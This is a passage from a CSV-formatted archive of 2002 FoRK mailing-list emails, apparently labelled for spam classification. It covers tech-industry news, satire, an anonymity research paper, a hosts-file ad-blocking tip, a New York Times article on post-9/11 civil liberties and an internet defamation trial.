Sept. 12, shareholders would trade in 10 shares of stock for one new share. The company has had trouble retaining its top-level executives in the past, including most recently, former chief executive Arun Sarin who resigned last year after just nine months on the job. The company said Jain will remain as a company employee. Shares of InfoSpace fell 2 cents to 43 cents in afternoon trading on Nasdaq. http://xent.com/mailman/listinfo/fork",0,1 Bill Humphries ,Tom ,"Thu, 1 Aug 2002 12:06:45 -0700",Re: Pics and thanks,"On Thursday, August 1, 2002, at 09:59 AM, Tom wrote: > On Thu, 1 Aug 2002, CDale wrote: > > --]Leave it to Tom to put the one w/ his son's wanker in the center. > > Heck, why hide perfection:)- No bias here, nope none whatsoever. That reminds me of a Robin William's routine from the 80's concerning his witnessing of the birth of his son (back in the day, the presence of dad on the OB floor was still, well, rather Marin-ish). ""It's a boy, and he's hung like a bear!"" ""That's the umbilical cord, Mr. Williams."" -- whump http://xent.com/mailman/listinfo/fork",0,1 Bill Humphries ,Mike Masnick ,"Thu, 1 Aug 2002 12:09:40 -0700",Re: Naveen Jain steps down,"On Thursday, August 1, 2002, at 11:38 AM, Mike Masnick wrote: > ""In other words, those > > who don't believe in God, and those who believe in God and InfoSpace. > > That's OK -- the nonbelievers will be converted when we become a > > trillion-dollar company."" Verizon Wireless uses InfoSpace for myvzw.net, the last few times I interacted with it, I was less than impressed. If it's a example of ""Argument from Design"", then the Creationists ought to disavow Jain right away. -- whump http://xent.com/mailman/listinfo/fork",0,1 """Damien Morton"" ",,"Fri, 2 Aug 2002 11:11:05 -0400",W3C approves HTML 4 'emotitags' - Now you'll be able to say it with feeling,"http://www.therockalltimes.co.uk/2002/04/08/new-tags.html W3C approves HTML 4 'emotitags' - Now you'll be able to say it with feeling by Lester Haines The World Wide Web Consortium (W3C) has approved a number of new html 'emotitags' which will revolutionise the web surfing experience. The tags have no physical effect, but rather elicit a strong emotional response from the reader. Top of the list is (War on TerrorT). The tag, when judiciously applied, will immediately provoke violent anger against ragheads, thus: Charity agencies report that Iraqi leader Sadaam Hussein has adopted the African dictatorial habit of eating his political opponents. Of particular interest to British code-monkeys is the new (I'm hurting too). This is designed for use when reporting on the life of Elizabeth the Queen Mother and other recently dead famous people: She touched our lives in so many ways with her common touch and her instinctive understanding of ordinary people. She will be sadly missed. The instantaneous effect is to reduce the reader to teary-eyed and self-indulgent wallowing in which he or she becomes unaccountably upset about the death of a complete stranger. Political reporting also looks to benefit from the new tag. Any government ministerial pronouncement is thus rendered immediately transparent: Tony Blair was quick to defend transport secretary Byers, calling him ""the most honest man it has been my privilege to know"". And, in a much-needed boost to satire sites, W3C has formally ratified the controversial . This guarantees any text contained within it complete immunity from prosecution: Naomi Campbell, we can confirm, is a talentless, drug-addicted perjurer who believes that good looks alone can justify her appalling and obnoxious behaviour. The new tags have been warmly received by the programming community. W3C has, however, warned that they are to be used economically. It has further cautioned that they should never be used together, since the effect on the reader could be catastrophic: In response to reports that the Queen Mother had fallen victim to Sadaam Hussein's Axis of EvilT chemical weapons programme, Stephen Byers noted: ""She was everybody's favourite grandmother who touched the lives of billions. The only consolation we can gain from this tragedy is that all of the UK's trains will be running on time by next Monday. And you can quote me on that."" http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Sat, 3 Aug 2002 00:11:13 +0200 (CEST)",Re: W3C approves HTML 4 'emotitags' [...],"Damien Morton quoted: >W3C approves HTML 4 'emotitags' - Now you'll be able to say it with feeling >>From The Rockall Times (http://www.therockalltimes.co.uk/), definitely the source of much funniness. R http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Sat, 3 Aug 2002 01:25:36 -0400",info-theoretic model of anonymity,"--- begin forwarded text Date: Sat, 3 Aug 2002 05:26:12 +0100 From: Adam Back To: Cypherpunks Cc: Adam Back Old-Subject: info-theoretic model of anonymity User-Agent: Mutt/1.2.2i Subject: info-theoretic model of anonymity Sender: owner-cypherpunks@lne.com Just read this paper published in PET02 ""Towards an Information Theoretic Metric for Anonymity"" [1]: http://www.cl.cam.ac.uk/~gd216/set.pdf or http://www.cl.cam.ac.uk/~gd216/set.ps it uses a Shannon like entropy model for the anonymity provided by a system uses this model to analyse the effect of different parameters one can tune with mixmaster (POOLSIZE, RATE, in mixmaster.conf). The ""anonymity entropy"" measurement can be interpreted as how many bits of information the attacker needs to identify a user and is computed from probabilities. Would be interesting to try estimate the entropy provided by the current mixmaster network. A number of nodes publish their parameter choices, and traffic volume over time (in hourly increments). Adam -- http://www.cypherspace.org/adam/ [1] @inproceedings{Serjantov:02:info-theoretic-anon, author = ""Andrei Serjantov and George Danezis"", title = ""Towards an Information Theoretic Metric for Anonymity"", booktitle = ""Proceedings of the Workshop on Privacy Enhancing Technologies"", year = ""2002"", note = ""Also available as \url{http://www.cl.cam.ac.uk/~aas23/papers_aas/set.ps}"" } --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Sat, 3 Aug 2002 16:04:56 +0200 (CEST)",There will be no Trojan War,"(pace Giraudoux) To be more precise, I believe that there will be no ""war of civilizations"" between the Western and the Muslim, and not because of drum-beating or war-mongering from some parts, but due to stuff like this: http://www.lemonde.fr/article/0,5987,3210--286553-,00.html >L'assemble nationale turque a ralis l'impossible : pour satisfaire >aux demandes de l'Union europenne, le Parlement, lors d'une session >qui a dur plus de seize heures, a, aboli la peine de mort (sauf en >cas de guerre), limin les obstacles lgaux l'ducation et la >diffusion en langue kurde, lev certaines restrictions rendant >l'organisation de manifestations difficile et mis fin l'imposition >de peines pour critiques envers l'arme ou d'autres institutions tatiques. i.e., >The Turkish National Assembly achieved the impossible: to satisfy >European Union demands, the Parlement, during a session lasting more >than sixteen hours, abolished the death penalty (except in war time), >eliminated legal obstacles to teaching and spreading of the Kurdish >language, lifted certain restrictions making it difficult to organise >protest marches and ended penalties imposed for criticism of the army >and other state institutions. This is the way forward, IMO. Just wait a couple of years until 66 million Muslim Turks are making great strides towards democracy and prosperity in the E.U. and Syria, Lebanon etc start lining up and making similar decisions. Of course there are hard-liners who would be right at home on Rumsfeld's staff, but they got out-voted: >La peine de mort s'est rvle le sujet le plus pineux : les >ultra-nationalistes taient dtermins obtenir la pendaison du >dirigeant du PKK (kurde), Abdullah calan, considr par les Turcs >comme personnellement responsable de la mort de plus de 30 000 >personnes. calan avait t condamn mort en juin 1999, mais le >gouvernement avait accept d'attendre le verdict de la Cour europenne >des droits de l'homme avant de l'excuter. De nombreux nationalistes >estimaient galement que l'octroi de droits culturels aux Kurdes >reprsenterait une concession aux revendications des ""terroristes"". i.e., >The death penalty turned out to be the thorniest issue: the >ultra-nationalists were determined to secure the hanging of the PKK >leader, Abdullah calan, considered by the Turks to be personally >responsible for the deaths of more than 30,000 people. calan had >been condemned to death in June 1999, but the government had accepted >to wait for the verdict of the European Court of Human Rights before >executing him. Many nationalists also believed that handing cultural >rights to the Kurds would constitute a concession to ""terrorist"" >demands. Over 'n out, Rob. .-. .-. / \ .-. .-. / \ / \ / \ .-. _ .-. / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / `-' `-' \ / \ / \ \ / `-' `-' \ / `-' `-' http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",fork@spamassassin.taint.org,"Sat, 03 Aug 2002 15:38:33 -0700",brimful of...,"So how did I miss, and how come I can't find, the fork post that explains the lyrics to Brimful of Asha? I first heard of the song while reading http://www.ottawa-anime.org/~eyevocal/beingupfront/ but I had never heard it until I downloaded it among a bunch of other Fatboy Slim mixes. - Joe http://xent.com/mailman/listinfo/fork",0,1 """Mr. FoRK"" ",,"Sat, 3 Aug 2002 21:24:49 -0700",Using hosts file to rid yourself of popup ads,"Don't know if everybody knows this trick... Puts 127.0.0.1 as the IP for adservers. Elegant. == http://technoerotica.net/mylog/hostfile.html As mentioned throughout this site, there is more than one way to skin a cat when it comes to pop-ups. The hosts file is one of the most effective methods there is. In brief, a hosts file is a text file used by Windows to resolve domain names and IP addresses. If you're running windows, you already have a hosts file but it most likely isn't being used. What a hosts file does is simple, it lists domains and IP numbers. To get rid of ads, the hosts file lists the domain names of adservers along with the IP number 127.0.0.1. This tells windows to grab any content from the listed domain from the specified IP number. The specified IP number in this case is your own computer. What happens is that it won't display the ad. If you choose this method of ad removal there is no need to use our opt out links. The hosts file is a very effective mechanism. You can download this hosts file, unzip it and place it in your Windows directory. YOU SHOULD MAKE A BACK UP of your existing hosts file before you do. The hosts file is called ""hosts"" there is no extension. You may have a file named Hosts.sam this is merely a sample hosts file. Once you download the file and put it in the windows folder, reboot your computer and it's a done deal. Pretty simple huh? You might want to look at the contents of this file as it contains additional information as well as an address for getting updated versions. Because we're inherently lazy, this works for windows only, don't use it on a mac! Follow the address in the hosts file for alternative system instructions. download now We didn't write this file and do not provide support for it's use. Follow the address in the hosts file for questions. It's not that we don't want to hear from you but the folks at this address have the answers you need. http://xent.com/mailman/listinfo/fork",0,1 Gary Lawrence Murphy ,"""David Kargbou"" ",04 Aug 2002 08:28:12 -0400,Re: DANIEL KARGBO. fork !,"Wow, what a flash, I just got the _perfect_ idea for a new suspense/crime TV drama: Every week, some poor schmuck answers one of these Nigerian Scams ... -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 """Mr. FoRK"" ",,"Sun, 4 Aug 2002 13:06:08 -0700",Re: Using hosts file to rid yourself of popup ads,"Okay okay... after reading further I realized this wasn't all that great.... thanks for the feedback anyway. ----- Original Message ----- From: ""Joseph S. Barrera III"" To: ""Mr. FoRK"" Cc: Sent: Saturday, August 03, 2002 10:31 PM Subject: Re: Using hosts file to rid yourself of popup ads > Mr. FoRK wrote: > > Don't know if everybody knows this trick... > > Yes. They do. > > > > Because we're inherently lazy, this works for windows only, > > Huh? Oh, that's right, Unix picked up the idea of /etc/hosts > from Windows. I keep forgetting. > > > > don't use it on a mac! > > Especially macs running unix (see above). > > > > We didn't write this file and do not provide > > > support for it's use. > > We don't even know how to use the fucking English language. > -- > What security level comes after ""Totally Apeshit""? > -- http://www.mnftiu.cc/mnftiu.cc/war12.html > > > http://xent.com/mailman/listinfo/fork > http://xent.com/mailman/listinfo/fork",0,1 grlygrl201@aol.com,fork@spamassassin.taint.org,"Sun, 04 Aug 2002 23:06:36 -0400",Tryst of Fate,". . . or eventuality: Bush and Cheney fuck each other when the rest of the nation suddenly becomes unavailable. http://www.hfcletter.com/letter/August02/ gg http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","fork@spamassassin.taint.org, irregulars@tb.tf","Mon, 5 Aug 2002 09:23:54 -0400","Jury rules for Paul Guthrie's Defense in ZixIt's $700mm suit (was Re: GigaLaw.com Daily News, August 5, 2002)","If anyone can get past the ""No Cookie"" monster to the actual text of this link, let me know. :-). Cheers, RAH At 5:36 AM -0600 on 8/5/02, GigaLaw.com wrote: > Jury Rules for Defense in $700 Million Net Defamation Case > In one of the first trials in the nation to address Internet > defamation, a Dallas County, Texas, jury rejected a $700 million suit by > an Internet company that claimed it was harmed by negative electronic > messages. Dallas' ZixIt alleged that Paul Guthrie, formerly a vice > president with Visa, posted more than 400 anonymous messages, many > negative, about ZixIt on a Yahoo Internet message board, causing ZixIt's > stock price to drop. > Read the article: law.com @ > >http://www.law.com/servlet/ContentServer?pagename=OpenMarket/Xcelerate/View&c=LawArticle&cid=1028320303259&t=LawArticleTech -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire' http://xent.com/mailman/listinfo/fork",0,1 luke@applix.com,fork@spamassassin.taint.org,"Mon, 5 Aug 2002 08:34:25 -0400 (EDT)","NYTimes.com Article: After Sept. 11, a Legal Battle Over Limits of Civil Liberty","This article from NYTimes.com has been sent to you by luke@applix.com. The mind boggles at the idea that the Bush administration has not bothered to find a serious rationale at all, much less one extraordinary enough to justify these extraordinary measures, much less present it to the public, and that the Bush administration appears to be against American-style justice. The default explanation for government secrecy is to conceal official wrongdoing. The administration is here making the case that Americans don't even have a right to question government secrecy. We may find that the history of this past year has been an epic looting from the public, made possible by the urgency of reacting to 9/11. luke@applix.com After Sept. 11, a Legal Battle Over Limits of Civil Liberty August 4, 2002 By THE NEW YORK TIMES This article was reported and written by Adam Liptak, Neil A. Lewis and Benjamin Weiser. In the fearful aftermath of Sept. 11, Attorney General John Ashcroft vowed to use the full might of the federal government and ""every available statute"" to hunt down and punish ""the terrorists among us."" The roundup that followed the attacks, conducted with wartime urgency and uncommon secrecy, led to the detentions of more than 1,200 people suspected of violating immigration laws, being material witnesses to terrorism or fighting for the enemy. The government's effort has produced few if any law enforcement coups. Most of the detainees have since been released or deported, with fewer than 200 still being held. But it has provoked a sprawling legal battle, now being waged in federal courthouses around the country, that experts say has begun to redefine the delicate balance between individual liberties and national security. The main combatants are the attorney general and federal prosecutors on one side and a network of public defenders, immigration and criminal defense lawyers, civil libertarians and some constitutional scholars on the other, with federal judges in between. The government's record has so far been decidedly mixed. As it has pushed civil liberties protections to their limits, the courts, particularly at the trial level, have pushed back, stopping well short of endorsing Mr. Ashcroft's tactics or the rationales he has offered to justify them. Federal judges have, however, allowed the government to hold two American citizens without charges in military brigs, indefinitely, incommunicado and without a road map for how they might even challenge their detentions. In the nation's history, the greatest battles over the reach of government power have occurred against the backdrop of wartime. Some scholars say the current restrictions on civil liberties are relatively minor by historical standards and in light of the risks the nation faces. The current struggle centers on three sets of issues. People held simply for immigration violations have objected to new rules requiring that their cases be heard in secret, and they have leveraged those challenges into an attack on what they call unconstitutional preventive detentions. People brought in and jailed as material witnesses, those thought to have information about terrorist plots, have argued that they should not be held to give testimony in grand jury investigations. Finally, Yasser Esam Hamdi and Jose Padilla, the two Americans labeled ""enemy combatants"" for what the government contends is more direct involvement with terrorist groups, are seeking rights once thought to be fundamental to American citizens, like a lawyer's representation and a chance to challenge their detentions before a civilian judge. So far, federal judges in Newark and Detroit have ordered secret deportation proceedings opened to public scrutiny, and on Friday a federal district judge in Washington ordered that the identities of most of the detainees be made public under the Freedom of Information Act. ""Secret arrests,"" Judge Gladys Kessler wrote in the decision on Friday, ""are a concept odious to a democratic society."" A senior Justice Department official said the detentions had been lawful and effective. He said it was hard to ""prove a negative"" and cite specific terrorist acts that had been disrupted. But he said that department officials believed that the detentions had ""incapacitated and disrupted some ongoing terrorist plans."" Two federal judges in New York have differed sharply on whether the government may jail material witnesses while they wait to testify in grand jury investigations. In Virginia, a federal judge ordered the government to allow Mr. Hamdi to consult a lawyer. ""I look at the federal district court judges and just cheer them on, because they are doing exactly what an independent judiciary should be doing,"" said Jane E. Kirtley, a professor at the University of Minnesota and former executive director for the Reporters Committee for Freedom of the Press. ""It's not hostile or adversarial; it's simply skeptical."" These lower-court decisions have for the most part not yet been tested on appeal, and there is reason to think that appeals courts and the Supreme Court will prove more sympathetic to the government's tactics and arguments. The federal appeals court in Richmond, Va., for instance, reversed the decision to allow Mr. Hamdi to talk to a lawyer and ordered the lower court judge to consider additional evidence and arguments. But even the appeals court seemed torn, and it rejected the government's sweeping argument that the courts have no role in reviewing the government's designation of an American citizen as an enemy combatant. The detention issues also carry an emotional punch. Many of the Arabs and Muslims caught in the government dragnet were cabdrivers, construction workers or other types of laborers, and some spent up to seven months in jail before being cleared of terrorism ties and deported or released. Last month, at a conference held by a federal appeals court, Warren Christopher, the secretary of state in the Clinton administration, snapped at Viet Dinh, an assistant attorney general under President Bush, saying that the administration's refusal to identify the people it had detained reminded him of the ""disappeareds"" in Argentina. ""I'll never forget going to Argentina and seeing the mothers marching in the streets asking for the names of those being held by the government,"" Mr. Christopher said. ""We must be very careful in this country about taking people into custody without revealing their names."" Mr. Dinh, who came to the United States as a refugee from Vietnam, recalled his family's anguish when his father was taken away in 1975 for ""re-education."" In contrast, he said, those detained by the United States were not being secretly held but were allowed to go to the press and seek lawyers. ""These are not incognito detentions,"" he said. ""The only thing we will not do is provide a road map for the investigations."" According to the Justice Department, 752 of the more than 1,200 people detained since Sept. 11 were held on immigration charges. Officials said recently that 81 remained in detention. Court papers indicate there were about two dozen material witnesses, while most of the other detainees were held on various state and federal criminal charges. President Bush also has announced plans to try suspected foreign terrorists before military tribunals, though no such charges have been brought yet. Last month, William G. Young, the federal judge presiding in Boston over the criminal case against Richard C. Reid, a British citizen accused of trying to detonate a bomb in his shoe on a trans-Atlantic flight, noted that the very establishment of those tribunals ""has the effect of diminishing the American jury, once the central feature of American justice."" Judge Young, who was appointed by President Ronald Reagan, added: ""This is the most profound shift in our legal institutions in my lifetime and - most remarkable of all - it has taken place without engaging any broad public interest whatsoever."" Jack Goldsmith and Cass R. Sunstein, professors at the University of Chicago Law School, have written that the Bush administration's policies are a minimal challenge to civil liberties especially compared with changes during the times of Abraham Lincoln and Franklin D. Roosevelt. What has changed, they say, is a greater sensitivity to civil liberties and a vast increase in mistrust of government. The Secrecy U.S. Says Hearings Are Not Trials Ten days after last September's attacks, Michael J. Creppy, the nation's chief immigration judge, quietly issued sweeping instructions to hundreds of judges for what would turn out to be more than 600 ""special interest"" immigration cases. ""Each of these cases is to be heard separately from all other cases on the docket,"" Judge Creppy wrote. ""The courtroom must be closed for these cases - no visitors, no family, and no press."" ""This restriction,"" he continued, ""includes confirming or denying whether such a case is on the docket."" The government has never formally explained how it decided which visa violators would be singled out for this extraordinary process, and it has insisted that the designations could not be reviewed by the courts. But as it turns out, most of these cases involved Arab and Muslim men who were detained in fairly haphazard ways, for example at traffic stops or through tips from suspicious neighbors. Law enforcement officials have acknowledged that only a few of these detainees had any significant information about possible terrorists. As the ruling on Friday in Washington suggests, a series of legal challenges to this secrecy has resulted in striking legal setbacks for the administration. Several courts have ordered the proceedings opened and have voiced considerable skepticism about the government's justifications for its detention policies generally. Lee Gelernt, a lawyer at the American Civil Liberties Union, said the secrecy of the proceedings exacerbated the hardships faced by people who disappeared from sight on violations that in the past would not have resulted in incarceration. ""Preventive detention,"" he said, ""is such a radical departure from constitutional traditions that we certainly shouldn't be undertaking it solely on the Justice Department's say-so."" Malek Zeidan's detention would have been unexceptional had it not given rise to one of the legal challenges that threatens to end the secret proceedings. Mr. Zeidan, 42, is a Syrian citizen who overstayed his visa 14 years ago and has lived in Paterson, N.J., for more than a decade. Over the years, he has delivered pizzas, driven an ice cream truck and pumped gas. When the Immigration and Naturalization Service came around last Jan. 31 to ask him about a former roommate suspected of marriage fraud, Mr. Zeidan was working at Dunkin' Donuts, and his expired visa soon cost him 40 days in custody. When a hearing was finally held three weeks after his detention, the judge closed the courtroom, excluding Mr. Zeidan's cousin and reporters. The closing of proceedings prompted lawsuits in federal court, from both Mr. Zeidan and two New Jersey newspapers. In March, the government dropped the ""special interest"" designation, Mr. Zeiden was released after posting a bond, and the case he filed was dismissed. The immigration charges against him will be considered in the fall. ""You're one of the lucky ones,"" his lawyer, Regis Fernandez, recalls telling Mr. Zeidan, given that other visa violators were held as long as six or seven months before being deported or released. Mr. Zeidan's lawyers believe that their legal strategy, which focused on openness, forced the government's hand. ""The government was somehow linking secrecy to guilt,"" Mr. Fernandez said. ""We figured if the public had access to these hearings they would see that nothing went on except multiple adjournments and delay."" Through a spokeswoman, Judge Creppy declined to comment. An I.N.S. official, who spoke on the condition that he not be named, said the agency had acted properly in Mr. Zeidan's case and in similar cases. He said the immigration service had always detained people without bond who were linked to criminal investigations. He added that the agency had no choice now but to detain a visa violator until the Federal Bureau of Investigation was sure the person was not involved in terrorism. ""Consider the flip side - that you held him for two days and then deported him, and 30 days later you found out he was a terrorist,"" the official said. The newspapers' lawsuit has continued. It has already once reached the Supreme Court, and the government's papers contain one of the fullest accounts of its position on secrecy and executive power. Its main argument is that the courts have no role because immigration hearings are not really trials, but are merely administrative hearings that can be closed at will. Bennet Zurofsky, who also represented Mr. Zeidan, said he was flabbergasted by this suggestion. ""A trial is a trial,"" he said. ""A person's liberty is at stake. A person is being held in jail. A person is being told where to live."" But in a sworn statement submitted in several court cases, Dale L. Watson, the executive assistant director for counterterrorism and counterintelligence at the F.B.I., outlined the reasoning behind the government demand for total secrecy. ""Bits and pieces of information that may appear innocuous in isolation can be fit into a bigger picture by terrorist groups,"" he said. This rationale for withholding information, sometimes called the mosaic theory, is controversial. ""It's impossible to refute,"" Professor Kirtley said, ""because who can say with certainty that it's not true?"" In May, John W. Bissell, the chief judge of the federal district court in Newark, appointed by President Reagan, ruled for the newspapers and ordered all deportation hearings nationwide to be opened, unless the government is able to show a need for a closed hearing on a case-by-case basis. His ruling followed a similar one in Detroit the month before, though that case involved only a single detainee. The government appealed to the Court of Appeals for the Third Circuit, in Philadelphia, and asked it to block Judge Bissell's order until the appeal was decided. The court, which will hear arguments in September, declined to do that. A number of news organizations, including The New York Times, filed a brief as a friend of the court in support of the newspapers. The government then asked the United States Supreme Court to stay Judge Bissell's order. The court, in a relatively unusual move given that the case was not before it for any other purpose, blocked Judge Bissell's order, suggesting that it might have more sympathy for the government's arguments. The Witnesses Rights Violated, Lawyers Contend Late on Sept. 12, federal agents pulled two nervous Indian men, Mohammed Jaweed Azmath and Syed Gul Mohammed Shah, off an Amtrak train near Fort Worth. They were carrying box cutters, black hair dye and about $5,000 in cash and had also shaved their body hair. The agents' suspicions were obvious. The hijackers had used box cutters and knives to take control of the aircraft and had received letters instructing them to ""shave excess hair from the body."" An F.B.I. affidavit dated Sept. 15 said there was probable cause to believe that both of the Indian men were involved in, or ""were associated"" with, those responsible for the Sept. 11 attacks. But even though government officials told reporters that the men had been detained as material witnesses, their lawyers now say that they were held last fall only on immigration violations. The distinction is important because a material witness warrant brings the automatic appointment of a government-paid lawyer, while the government does not have to supply a visa violator with counsel. As a result, the authorities were able to question each of the men repeatedly about terrorism without a lawyer present, their current lawyers say. Like some of the people who were picked up as material witnesses, the Indian men were held in isolation in jails in New York for extended periods. It was 91 days before Mr. Azmath received a lawyer and 57 days before Mr. Shah did, their lawyers say. ""It's wrong to keep a man in jail for 57 days and never bring him before a magistrate to advise him of his rights,"" Mr. Shah's lawyer, Lawrence K. Feitell, said in an interview. ""It's wrong not to provide him with an attorney at the threshold. It's wrong to depict this as an I.N.S. investigation, when in truth and in fact, it's the main inquiry into the World Trade Center debacle."" Anthony L. Ricco, the lawyer for Mr. Azmath, said his client was interrogated ""often times for several hours a day, with multiple interviewers, getting rapid-fire questions from three or four different people."" Eventually, the F.B.I. and the prosecutors cleared the men of any involvement in terrorism, and both pleaded guilty in June in a credit-card fraud scheme and are awaiting sentencing. Federal prosecutors said in court papers that both men consented to questioning. Each ""was read and waived his Miranda rights before each interview,"" prosecutors wrote, adding that each man confessed to the credit card offenses. The United States attorney in Manhattan, James B. Comey, would not comment on the specific cases, but said generally of the government's tactics: ""I don't see any violation of any rule, regulation, or law. ""I can understand defense lawyers not being happy,"" he said. ""But I know our position after 9/11 was to use every available tool, to stay within the rules but play the whole field and recognize the boundaries, but cover the whole field. ""We need to do whatever we can that's legal to investigate and disrupt,"" he added. Today, it is believed that only a handful of the two dozen material witnesses, perhaps as few as two, are still being detained. But the process of detaining the witnesses has stirred intense criticism. Last April, Judge Shira A. Scheindlin of Federal District Court in Manhattan ruled that the use of the law ""to detain people who are presumed innocent under our Constitution in order to prevent potential crimes is an illegitimate use of the statute."" Judge Scheindlin said the material witness law applied when witnesses were held to give testimony at trials, not for grand jury investigations. ""Since 1789,"" Judge Scheindlin said, ""no Congress has granted the government the authority to imprison an innocent person in order to guarantee that he will testify before a grand jury conducting a criminal investigation."" Then last month, Chief Judge Michael B. Mukasey, also of Federal District Court in Manhattan, upheld the government's use of the material witness statute in grand jury investigations, criticizing Judge Scheindlin's reasoning. Judge Mukasey, citing the assertion in 1807 by Chief Justice John Marshall that ""the public has a right to every man's evidence,"" held that detentions of material witnesses during investigations are proper. The War Captives No Lawyers Allowed Under U.S. Label Yasser Esam Hamdi, a Saudi national who was captured in Afghanistan, is probably an American citizen by virtue of having been born in Louisiana. His case represents the core issue of what kind of role the nation's courts should have, if any, in reviewing the government's imprisonment of someone charged with something akin to a war crime. Prosecutors will be back in Federal District Court in Norfolk, Va., next Thursday to confront one of the federal judges who has shown resistance to the government's approach that once someone is declared an ""enemy combatant"" by the president, all judicial review ceases. Judge Robert G. Doumar, an appointee of President Reagan, has twice ruled that Mr. Hamdi is entitled to a lawyer and ordered the government to allow Frank Dunham, the federal public defender, to be allowed to visit him without government officials or listening devices. Judge Doumar said that ""fair play and fundamental justice"" require it. He said the government ""could not cite one case where a prisoner of any variety within the jurisdiction of a United States District Court, who was held incommunicado and indefinitely."" But the three-judge panel of the appeals court stayed Judge Doumar's order, saying he had not fully considered the government's needs to keep Mr. Hamdi incommunicado and, more important, the executive branch's primacy in areas of foreign and military affairs. ""The authority to capture those who take up arms against America belongs to the commander in chief,"" Chief Judge J. Harvie Wilkinson 3rd wrote for the appeals panel. But even Judge Wilkinson seemed to evince some surprise at the breadth of what the government was asserting when he asked the Justice Department's lawyer, ""You are saying that the judiciary has no right to inquire at all into someone's stature as an enemy combatant?"" The government has relented slightly, agreeing to provide the court with a sealed declaration of the criteria by which they have judged Mr. Hamdi to be an enemy combatant. But the government has argued that judges cannot argue with the standards. Judge Doumar has indicated that he will question the government closely on those standards. The case of Jose Padilla, which has not progressed as far as that of Mr. Hamdi, may present an even greater challenge to normal judicial procedures. Mr. Padilla, also known as Abdullah al-Muhajir, is, like Mr. Hamdi, an American citizen, imprisoned in a naval brig after having been declared an enemy combatant. But unlike Mr. Hamdi, Mr. Padilla was not arrested on the battlefield by the military but on United States soil by civil law enforcement authorities, on May 8 in Chicago. After his detention as a material witness based on suspicions that he was seeking to obtain material and information to build a radioactive bomb, he was transferred to military custody. ""This is the model we all fear or should fear,"" said Mr. Dunham, the public defender. ""The executive branch can arrest an American citizen here and then declare him an enemy combatant and put him outside the reach of the courts. They can keep him indefinitely without charging him or giving him access to a lawyer or presenting any evidence."" http://www.nytimes.com/2002/08/04/national/04CIVI.html?ex=1029550865&ei=1&en=c82350bcf915e44e HOW TO ADVERTISE --------------------------------- For information on advertising in e-mail newsletters or other creative advertising opportunities with The New York Times on the Web, please contact onlinesales@nytimes.com or visit our online media kit at http://www.nytimes.com/adinfo For general information about NYTimes.com, write to help@nytimes.com. Copyright 2002 The New York Times Company http://xent.com/mailman/listinfo/fork",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List ,","Mon, 5 Aug 2002 13:22:55 -0400",Internet Defamation Suit Ends With Defense Verdict,"--- begin forwarded text To: rah@philodox.com Subject: Internet Defamation Suit Ends With Defense Verdict Date: Mon, 5 Aug 2002 10:08:41 -0400 (EDT) From: Somebody Internet Defamation Suit Ends With Defense Verdict http://www.law.com/servlet/ContentServer?pagename=OpenMarket/Xcelerate/View&c=LawArticle&cid=1028320303259&t=LawArticleTech John Council Texas Lawyer 08-05-2002 In one of the first trials in the country to address Internet defamation, a Dallas County, Texas, jury last week rejected a $700 million suit by an Internet company that claimed it was harmed by negative electronic messages posted by an employee of a competing company. ZixIt, a Dallas Internet company, filed ZixIt Corp. v. Visa International, et al. in 1999, alleging it was harmed by Paul Guthrie, then a vice president with Visa. ZixIt alleged in its suit that Guthrie posted more than 400 anonymous messages, many of them negative, about ZixIt on the Yahoo Finance ZixIt Internet message board, causing ZixIt's stock price to drop. The suit also alleged that the postings destroyed the company's ability to market its ZixCharge Internet transaction authorization system, which allows consumers to make purchases without revealing their credit card numbers to merchants. Visa has a similar Internet payment system. ZixIt alleged that the postings caused its stock price to plummet. Had the product been successful, the company believed it would have been worth more than $1 billion, according to lawyers involved in the case. On July 31, a jury in Judge Merrill Hartman's 192nd District Court found that ZixIt's product was not harmed by the postings. Neal Manne and Kenneth McNeil, lawyers from Houston's Susman Godfrey who represented ZixIt at trial, did not return calls for comment by press time. ""The company hasn't made any decision about an appeal,"" says Cindy Lawrence, a ZixIt spokeswoman. ""The outcome of the lawsuit doesn't have any effect on our future products and services in e-messaging."" GETTING GRADED Visa's lawyers alleged that Guthrie acted on his own and had a right to free speech, and that Guthrie's Internet postings had no effect on ZixIt's stock. Guthrie has since left Visa, lawyers for the company say. Guthrie was not a defendant in the case. However, his interests in the case were represented by Todd Noonan, an attorney in Sacramento, Calif.'s Stevens & O'Connell. Noonan was recovering from surgery last week and was unavailable for comment. ""I think people believe whether you succeed or fail [is] because of what you do and not what other people do to you. Internet companies didn't succeed for all sorts of reasons,"" says Jeff Tillotson, a partner in Dallas' Lynn, Tillotson & Pinker, who defended Visa at trial. ZixIt's case was a hard sell to the jury, especially with the reality of the economy, Tillotson says. ""Everyone knows that the stock market has fallen and the trouble with Internet companies. I think the jury took that into account,"" Tillotson says. There were lessons to be learned from the Internet defamation trial, says Mike Lynn, who also represented Visa at trial. Even though message boards are considered a protected form of free speech, that freedom won't prevent a company from being dragged into court if its employee blasts another company on the Internet, Lynn says. ""A company can be responsible for what an employee posts on a message board,"" Lynn says. ""The courts have said you're entitled to go to a jury to determine whether there are damages as a result of that. The law is very odd, not mature, [and] damage theories are not mature."" The nature of the case also added an interesting twist to the trial, Tillotson says. Many of those who posted messages on the board attended the trial and posted comments about the daily proceedings throughout the three-week trial, he says. ""It was apparent to everyone that many of the people who posted on these message boards were watching the trial,"" Tillotson 